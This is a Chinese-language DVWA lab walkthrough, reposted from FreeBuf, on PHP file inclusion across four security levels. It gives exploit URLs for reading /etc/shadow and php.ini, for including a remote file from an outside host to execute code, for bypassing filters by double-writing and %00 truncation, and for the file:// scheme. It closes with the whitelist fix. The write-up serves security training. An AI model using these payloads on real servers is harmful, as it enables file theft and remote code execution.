轉自:https://www.freebuf.com/articles/web/119150.html
File Inclusion
File Inclusion,意思是文件包含(漏洞),是指當服務器開啓allow_url_include選項時,就可以通過php的某些特性函數(include(),require()和include_once(),require_once())利用url去動態包含文件,此時如果沒有對文件來源進行嚴格審查,就會導致任意文件讀取或者任意命令執行。文件包含漏洞分爲本地文件包含漏洞與遠程文件包含漏洞,遠程文件包含漏洞是因爲開啓了php配置中的allow_url_fopen選項(選項開啓之後,服務器允許包含一個遠程的文件)。
下面對四種級別的代碼進行分析。
Low
服務器端核心代碼
<php
//Thepagewewishtodisplay
$file=$_GET['page'];
>
可以看到,服務器端對page參數沒有做任何的過濾跟檢查。
服務器期望用戶的操作是點擊下面的三個鏈接,服務器會包含相應的文件,並將結果返回。需要特別說明的是,服務器包含文件時,不管文件後綴是否是php,都會嘗試當做php文件執行,如果文件內容確爲php,則會正常執行並返回結果,如果不是,則會原封不動地打印文件內容,所以文件包含漏洞常常會導致任意文件讀取與任意命令執行。
點擊file1.php後,顯示如下
而現實中,惡意的攻擊者是不會乖乖點擊這些鏈接的,因此page參數是不可控的。
漏洞利用
1.本地文件包含
構造url
http://192.168.153.130/dvwa/vulnerabilities/fi/page=/etc/shadow
報錯,顯示沒有這個文件,說明不是服務器系統不是Linux,但同時暴露了服務器文件的絕對路徑C:\xampp\htdocs。
構造url(絕對路徑)
http://192.168.153.130/dvwa/vulnerabilities/fi/page=C:\xampp\htdocs\dvwa\php.ini
成功讀取了服務器的php.ini文件
構造url(相對路徑)
加這麼多..\是爲了保證到達服務器的C盤根目錄,可以看到讀取是成功的。
同時我們看到,配置文件中的Magic_quote_gpc選項爲off。在php版本小於5.3.4的服務器中,當Magic_quote_gpc選項爲off時,我們可以在文件名中使用%00進行截斷,也就是說文件名中%00後的內容不會被識別,即下面兩個url是完全等效的。
可惜的是由於本次實驗環境的php版本爲5.4.31,所以無法進行驗證。
使用%00截斷可以繞過某些過濾規則,例如要求page參數的後綴必須爲php,這時鏈接A會讀取失敗,而鏈接B可以繞過規則成功讀取。
2.遠程文件包含
當服務器的php配置中,選項allow_url_fopen與allow_url_include爲開啓狀態時,服務器會允許包含遠程服務器上的文件,如果對文件來源沒有檢查的話,就容易導致任意遠程代碼執行。
在遠程服務器192.168.5.12上傳一個phpinfo.txt文件,內容如下
構造url
http://192.168.153.130/dvwa/vulnerabilities/fi/page=http://192.168.5.12/phpinfo.txt
成功在服務器上執行了phpinfo函數
爲了增加隱蔽性,可以對http://192.168.5.12/phpinfo.txt進行編碼
同樣可以執行成功
Medium
服務器端核心代碼
<php
//Thepagewewishtodisplay
$file=$_GET['page'];
//Inputvalidation
$file=str_replace(array("http://","https://"),"",$file);
$file=str_replace(array("../","..\""),"",$file);
>
可以看到,Medium級別的代碼增加了str_replace函數,對page參數進行了一定的處理,將”http:// ”、”https://”、 ” ../”、”..\”替換爲空字符,即刪除。
漏洞利用
使用str_replace函數是極其不安全的,因爲可以使用雙寫繞過替換規則。
例如page=hthttp://tp://192.168.5.12/phpinfo.txt時,str_replace函數會將http://刪除,於是page=http://192.168.5.12/phpinfo.txt,成功執行遠程命令。
同時,因爲替換的只是“../”、“..\”,所以對採用絕對路徑的方式包含文件是不會受到任何限制的。
1.本地文件包含
讀取配置文件成功
http://192.168.153.130/dvwa/vulnerabilities/fi/page=C:/xampp/htdocs/dvwa/php.ini
絕對路徑不受任何影響,讀取成功
2.遠程文件包含
http://192.168.153.130/dvwa/vulnerabilities/fi/page=htthttp://p://192.168.5.12/phpinfo.txt
遠程執行命令成功
經過編碼後的url不能繞過替換規則,因爲解碼是在瀏覽器端完成的,發送過去的page參數依然是http://192.168.5.12/phpinfo.txt,因此讀取失敗。
High
服務器端核心代碼
<php
//Thepagewewishtodisplay
$file=$_GET['page'];
//Inputvalidation
if(!fnmatch("file*",$file)&&$file!="include.php"){
//Thisisn'tthepagewewant!
echo"ERROR:Filenotfound!";
exit;
}
>
可以看到,High級別的代碼使用了fnmatch函數檢查page參數,要求page參數的開頭必須是file,服務器纔會去包含相應的文件。
漏洞利用
High級別的代碼規定只能包含file開頭的文件,看似安全,不幸的是我們依然可以利用file協議繞過防護策略。file協議其實我們並不陌生,當我們用瀏覽器打開一個本地文件時,用的就是file協議,如下圖。
構造url
http://192.168.153.130/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/php.ini
成功讀取了服務器的配置文件
至於執行任意命令,需要配合文件上傳漏洞利用。首先需要上傳一個內容爲php的文件,然後再利用file協議去包含上傳文件(需要知道上傳文件的絕對路徑),從而實現任意命令執行。
Impossible
服務器端核心代碼
<php
//Thepagewewishtodisplay
$file=$_GET['page'];
//Onlyallowinclude.phporfile{1..3}.php
if($file!="include.php"&&$file!="file1.php"&&$file!="file2.php"&&$file!="file3.php"){
//Thisisn'tthepagewewant!
echo"ERROR:Filenotfound!";
exit;
}
>
可以看到,Impossible級別的代碼使用了白名單機制進行防護,簡單粗暴,page參數必須爲“include.php”、“file1.php”、“file2.php”、“file3.php”之一,徹底杜絕了文件包含漏洞。